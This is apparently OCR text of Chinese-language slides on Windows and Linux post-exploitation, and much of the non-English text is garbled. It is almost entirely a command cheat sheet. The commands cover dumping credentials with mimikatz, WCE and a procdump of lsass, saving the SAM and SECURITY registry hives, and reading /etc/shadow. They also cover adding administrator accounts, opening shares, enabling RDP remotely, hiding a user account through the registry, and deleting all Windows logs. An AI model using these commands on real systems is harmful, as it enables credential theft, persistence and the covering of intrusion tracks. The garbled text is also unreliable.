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® Windows
» User
» Administrator
» System

® Linux
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® ADMIN#=ZAN/ASYSTEM
> RFITRIES
» KXARSHANEREN
> F R

> I —Psexec

> HIZE N pinjector.exe
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BUAARA | 0% HNTLM HASH

winlogon.exe | S—— Isass.exe | SAM
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C:\WINDOWS\system32\config\SAM




® EHIIRENIRN

» WCE(WIndOWS Credential EdltOl’) https://github.com/xymnal/wce

> wce.exe -lv
> wce.exe -g/w

® Mimikatz https://github.com/gentilkiwi/mimikatz/releases

» privilege::debug
> sekurlsa::logonpasswords

» Lsadump::sam




® ZEHHIRENEN

® ProcDump SHAMEIE (%5)

® https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

> procdump.exe -accepteula -ma lsass.exe lsass.dmp (X4 X)
® Reg SR
> reg save hklm\sam sam.hive

» reg save hklm\system system.hive

> reg save hklm\security security.hive
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® Linux
> [etc/resolv.conf
» [etc/passwd
» [etc/shadow
» whoami

» Ifconfig -a,iptables -nL

» log,history,ssh
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® windows
» ipconfig /all,ipconfig /displaydns,netstat -bnao,systeminfo
» netsh firewall show state
» net localgroup administrators username /add
» net group "Domain Controllers" /domain
» net share nameS$=C:\ /unlimited

» net user username /active:yes/domain
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® WMIC (Windows Management Instrumentation Command-Line,
WindowsBIET Hir<1T), BAEEWindowsizE ARG <ITLTA
wmic nicconfig get ipaddress,macaddress

wmic computersystem get username

wmic process get caption, executablepath,commandline

wmic process where name="calc.exe" call terminate

wmic os get name,servicepackmajorversion

wmic product get name,version

wmic product where name= “name” call uninstall /nointeractive
wmic /node: “machinename” path Win32_TerminalServiceSetting
where AllowTSConnections= “0” call SetAllowTSConnections "1"
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> REGADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname
/T REG_DWORD /DO
® del %WINDIR%\*.log /a/s/q/f
® History
e HEFMF
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